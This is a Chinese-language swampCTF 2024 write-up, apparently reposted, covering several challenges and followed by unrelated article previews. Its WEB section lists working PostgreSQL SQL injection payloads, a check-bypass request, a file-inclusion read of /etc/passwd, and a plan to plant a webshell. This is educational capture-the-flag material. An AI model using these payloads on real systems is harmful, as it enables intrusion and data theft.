swampCTF 2024

swampCTF 2024

MISC

Discord Challenge

swampCTF{w3lc0m3_t0_th3_swamp}

What the Form

google form不停重定向,直接F12看一下。flag就在前端。

在这里插入图片描述

swampCTF{F0rm5_K33p5_D4T4_H1dd3n}

OSINT

Lost in Space

图片是旅行者2号,问距离地球多少个天文单位。

在这里插入图片描述

136

Aerial Attack

解析图片exif信息,即可获得GPS坐标,按照规则构造即可。

在这里插入图片描述

(29.64,-82.33)

WEB

Potion Seller

看了hint是提示wtfjs,查看wtfjs文档的parseInt和Number部分,尝试了几个例子,发现1/1999999可以随意清空贷款绕过检查。

https://github.com/denysdovhan/wtfjs/blob/master/README-zh-cn.md

首先通过/borrow?amount=999999借入一定数量的金币。

然后在还款的时候利用repay?amount=1%20/%201999999绕过检测,实现贷款还款。

最后/checkout获得flag

在这里插入图片描述

BrailleDB-1

searchText处存在sql注入漏洞,尝试利用,却发现不存在database()函数,考虑不是mysql。

通过查询version,得知后端数据库是postgreSQL数据。

在这里插入图片描述

Q: searchText=-1' union select current_database()--
R: brailleDBQ:searchText=-1' union select relname from pg_stat_user_tables--
R: brailleQ: searchText=-1' union select column_name from information_schema.columns where table_name='braille'--
R: braille_representation
结合burp fuzzing offset位来读取列
Q: searchText=-1' union select relname from pg_stat_user_tables offset 1--
R: flag

在这里插入图片描述

有flag列和id列
Q:searchText=-1' union select column_name from information_schema.columns where table_name='flag' offset 0--
R: flag
Q:searchText=-1' union select column_name from information_schema.columns where table_name='flag' offset 1--
R: id

最后payload:

searchText=-1' union select flag from flag offset 0--

在这里插入图片描述

swampCTF{Un10n_A11_Th3_W4yyy!}

UnderConstruction

page参数,猜测可以任意文件读取。果然可以成功读取了/etc/passwd,读不了源码,会被直接解析。

在这里插入图片描述

登录处有sql注入漏洞,但是数据库中没有找到flag。考虑用sql注入读文件先读源码看看,限制了报错注入的字符回显长度,只能结合burp来慢慢获取源码。

index.php

<?php
ini_set('display_errors', 0);
if (isset($_GET['page']) {include("/var/www/html/".$_GET['page']);
} else { header('HTTP/1.1 301 Moved Permenently');header('Location: /?page=under_construction.php');
}
?>

果然是文件包含漏洞,所以应该考虑sql注入写webshell,然后文件包含执行。

/etc/mysql/mariadb.conf.d/50-server.cnf

# # These groups are read by MariaDB server. 
# Use it for options that only the server (but not clients) should see # this is read by the standalone daemon and embedded servers [server] 
# this is only for the mysqld standalone daemon [mysqld] 
# # * Basic Settings 
# user = mysql 
pid-file = /run/mysqld/mysqld.pid 
basedir = /usr 
datadir = /var/lib/mysql 
tmpdir = /tmp 
lc-messages-dir = /usr/share/mysql 
lc-messages = en_US skip-external-locking 
# Broken reverse DNS slows down connections considerably and name resolve is 
# safe to skip if there are no "host by domain name" access grants 
#skip-name-resolve 
# Instead of skip-networking the default is now to listen only on 
# localhost which is more compatible and is not less secure. 
bind-address = 127.0.0.1 
# # * Fine Tuning 
# #key_buffer_size = 128M 
#max_allowed_packet = 1G 
#thread_stack = 192K 
#thread_cache_size = 8 
# This replaces the startup script and checks MyISAM tables if needed 
# the first time they are touched 
#myisam_recover_options = BACKUP 
#max_connections = 100 
#table_cache = 64 
# # * Logging and Replication 
# # Both location gets rotated by the cronjob. # Be aware that this log type is a performance killer. 
# Recommend only changing this at runtime for short testing periods if needed! #general_log_file = /var/log/mysql/mysql.log 
#general_log = 1 
# When running under systemd, error logging goes via stdout/stderr to journald 
# and when running legacy init error logging goes to syslog due to 
# /etc/mysql/conf.d/mariadb.conf.d/50-mysqld_safe.cnf 
# Enable this if you want to have error logging into a separate file 
#log_error = /var/log/mysql/error.log 
# Enable the slow query log to see queries with especially long duration #slow_query_log_file = /var/log/mysql/mariadb-slow.log 
#long_query_time = 10 
#log_slow_verbosity = query_plan,explain 
#log-queries-not-using-indexes 
#min_examined_row_limit = 1000 
# The following can be used as easy to replay backup logs or for replication. 
# note: if you are setting up a replication slave, see REA

但是写文件没有成功,不管是webroot还是/tmp都没有成功。感觉应该是得写文件,然后文件包含执行shell。虽然没做出来但是也记录一下了。

RE

Beginner Rev

在这里插入图片描述

做异或运算,那么找一下byte_402010

在这里插入图片描述

这里的32个字节的字符。用python写一个脚本跑一下:

from Crypto.Util.number import *
codes = [0x32, 0x36, 0x20, 0x2C, 0x31, 0x2, 0x15, 0x7, 0x3A, 0x19, 0x71, 0x13, 0x1E, 0x28, 0x2F, 0x37, 0x71, 0x2D, 0x34, 0x35, 0x28, 0x71, 0x2F, 0x1E, 0x28, 0x74, 0x1E, 0x22, 0x71, 0x71, 0x2D, 0x3C]
result = ""
for i in codes:result += long_to_bytes(i^0x41).decode()
print(result)

在这里插入图片描述

swampCTF{X0R_inv0luti0n_i5_c00l}

PWN

Beginner Pwn 1

数组越界,内存溢出破坏其他变量。从而让自己成为admin。

在这里插入图片描述

swampCTF{y0u_@r3_a_h@ck3r}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800264.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python中的垃圾回收机制

Python中的垃圾回收&#xff08;Garbage Collection&#xff0c;简称GC&#xff09;机制是一个自动内存管理过程&#xff0c;它负责在对象不再被使用时释放内存资源。Python的垃圾回收主要依赖于引用计数&#xff08;Reference Counting&#xff09;来跟踪和回收不再使用的对象…

windows下python3安装rolabelimg或者labelimg2标注斜框

1.前言 大家常用labelimg标注物体&#xff0c;但当目标物体是倾斜角度时&#xff0c;labelimg标注时会把不属于物体的一大片区域也标注&#xff0c;这样标注效果不大好&#xff0c;那么有什么工具可以标注倾斜的矩形框呢&#xff0c;本篇通过介绍安装rolabelimg或者labelimg2&…

创建型模式--3.工厂模式 【人造恶魔果实工厂2】

1. 简单工厂模式的弊端 在上一节简单工厂模式中&#xff0c;创建了一个工厂类&#xff0c;用于生产需要的对象&#xff0c;但是这种方式有一个弊端&#xff0c;它违反了设计模式中的开放-封闭原则&#xff0c;先来看相关的代码&#xff1a; // 恶魔果实工厂类 enum class Typ…

初识虚拟机:探索数字世界的神奇工具

前言 在计算机科学领域&#xff0c;虚拟机是一种强大而神奇的工具&#xff0c;它可以让我们在一台计算机上同时运行多个操作系统&#xff0c;仿佛创造了一个独立的数字世界。本文将带你深入探索虚拟机&#xff0c;帮助你更好地理解这个让计算机变得更加灵活多样的工具。 什么…

使用美化方法设计项目主窗体(二)

使用美化方法设计项目主窗体 分析效果图的实现 效果图&#xff1a; 新建 Windows 窗体 新窗体命名&#xff1a;FrmMain.cs修改窗体的位置&#xff1a;StartPosition&#xff1a;CenterScreen窗体的无边框设计&#xff1a;FormBorderStyle&#xff1a;none修改窗体的大小&a…

Go语言并发(一)——goroutine与Waitgroup

协程 前言 在很多语言中都会提到并发的概念&#xff0c; 例如python&#xff0c; Java&#xff0c;C等等&#xff0c;一般来说 都会 使用多线程或多进程来 实现并发调度&#xff0c;但是多线程/进程 一般会耗费大量内存, 而在go 语言中我们可以使用协程来达到并发调度的目的&…

高级优化理论与方法(七)

高级优化理论与方法&#xff08;七&#xff09; Solving Linear EquationsCase 2TheoremKaczmarzs AlgorithmTheoremExample PseudoinverseDefinitionSpecial Case 1Special Case 2 Properties of PseudoinverseLemma 1: Unique pseudoinverseLemma 2: Full Rank Factorization…

Pytorch实用教程:Pytorch中model.eval()和torch.no_grad()的作用及用法

文章目录 1. model.eval()为什么需要 .eval() 方法&#xff1f;使用 .eval() 方法示例 注意事项 2. torch.no_grad()为什么需要 torch.no_grad()&#xff1f;使用 torch.no_grad()示例场景注意事项 1. model.eval() model.eval() 在 PyTorch 中是一个重要的方法&#xff0c;用…

MySQL8.3.0 主从复制方案(master/slave)

一 、什么是MySQL主从 MySQL主从&#xff08;Master-Slave&#xff09;复制是一种数据复制机制&#xff0c;用于将一个MySQL数据库服务器&#xff08;主服务器&#xff09;的数据复制到其他一个或多个MySQL数据库服务器&#xff08;从服务器&#xff09;。这种复制机制可以提供…

如何让阿里云AI001号员工帮我写代码(含IDEA插件使用)

国内首个AI程序员入职阿里云&#xff1a;专属工号AI001&#xff0c;KPI是一人写完公司20%代码。 不管是真是假&#xff0c;AI 程序员发展的趋势是无法改变的&#xff0c;小米汽车发布会上&#xff0c;雷军说到小米汽车工厂的自动化率达到90%以上&#xff0c;有些车间甚至100%的…

手术麻醉系统源码 医疗信息管理系统源码C#.net6.0+ vs2022,vscode+BS网页版 手麻系统源码

手术麻醉系统源码 医疗信息管理系统源码C#.net6.0 vs2022,vscodeB/S网页版 手麻系统源码 手术麻醉管理系统是应用于医院手术室、麻醉科室的计算机软件系统。该系统针对整个围术期&#xff0c;对病人进行全程跟踪与信息管理&#xff0c;自动集成病人HIS、LIS、RIS、PACS信息&…

jdk8新特性 方法引用

简介 lambda表达式是用来简化匿名内部类的方法引用 使用来简化 lambda表达式的 方法引用的标志 两个冒号 静态方法 静态方法 class CompareByAge {public static int compare(Student o1, Student o2) {return o1.getAge() - o2.getAge();} }静态方法引用 Arrays.sort(students…

表格比对作业指导书 使用access对excel表格数据进行比对

初级代码游戏的专栏介绍与文章目录-CSDN博客 &#xff08;注&#xff1a;这是以前给秘书写的作业指导书&#xff0c;用来处理两个表格中哪些人存在、哪些人不存在。看起来当时使用的access版本是2016。access是微软office套件中的一个软件&#xff0c;存在于家庭版&#xff0c…

探秘Vue异步组件,深入解析

基本用法​ 在大型项目中&#xff0c;我们可能需要拆分应用为更小的块&#xff0c;并仅在需要时再从服务器加载相关组件。Vue 提供了defineAsyncComponent方法来实现此功能&#xff1a; import { defineAsyncComponent } from vueconst AsyncComp defineAsyncComponent(() >…

​SCP收容物041~050​

注 &#xff1a;此文接SCP收容物031~040,本文只供开玩笑 ,与steve_gqq_MC合作。 --------------------------------------------------------------------------------------------------------------------------------- 目录 scp-041 scp-042 scp-043 scp-044 scp-045…

二维相位解包理论算法和软件【全文翻译- 噪声滤波(3.53.6)】

3.5 噪音过滤 在本节中,我们将简要讨论相位数据的滤波问题。除了提高信噪比之外,噪声滤波还有助于减少残差的数量,从而大大简化相位解包过程。不过,我们必须注意到一个重要的问题。正如我们在第 1 章中指出的,相位本身并不是信号。它只是信号的一种属性。因此,应该过滤的…

JSON字符串中获取一个特定字段的值

JSON字符串中获取一个特定字段的值 一、方式一&#xff0c;引用gson工具二、方式二&#xff0c;使用jackson三、方式三&#xff0c;使用jackson转换Object四、方式四&#xff0c;使用hutool&#xff0c;获取报文数组数据 一、方式一&#xff0c;引用gson工具 测试报文&#xf…

表单流程管理系统:推进数字化转型理想助手

在数字化转型新时代&#xff0c;谁拥有理想的软件平台助手&#xff0c;谁就能在流程化管理新进程中迈出坚实的步伐。面对激烈的市场竞争&#xff0c;低代码技术平台及表单流程管理系统正在广阔的市场环境中越扎越稳&#xff0c;成为助力企业数字化转型升级的重要利器设备。想要…

使用PyCharm安装并运行python程序(小白专属教程,建议收藏)

本文将介绍如何使用pycharm安装python环境并运行第一个python程序&#xff0c;适合刚接触python的童鞋参考。 Python的安装 python是一门跨平台的语言&#xff0c;如Windows、Linux、MacOS等平台都能完美兼容&#xff0c;以下只对Windows平台安装做详细介绍。 &#xff11;.…

开创加密资产新纪元:深度解析ERC-314协议

随着加密资产市场的不断发展和区块链技术的日益成熟&#xff0c;新的协议和标准不断涌现&#xff0c;其中包括了ERC-314协议。本文将深入分析ERC-314协议的特点、功能以及对加密资产市场可能产生的影响。 1. ERC-314协议简介 ERC-314协议是一项建立在以太坊区块链上的新提案&a…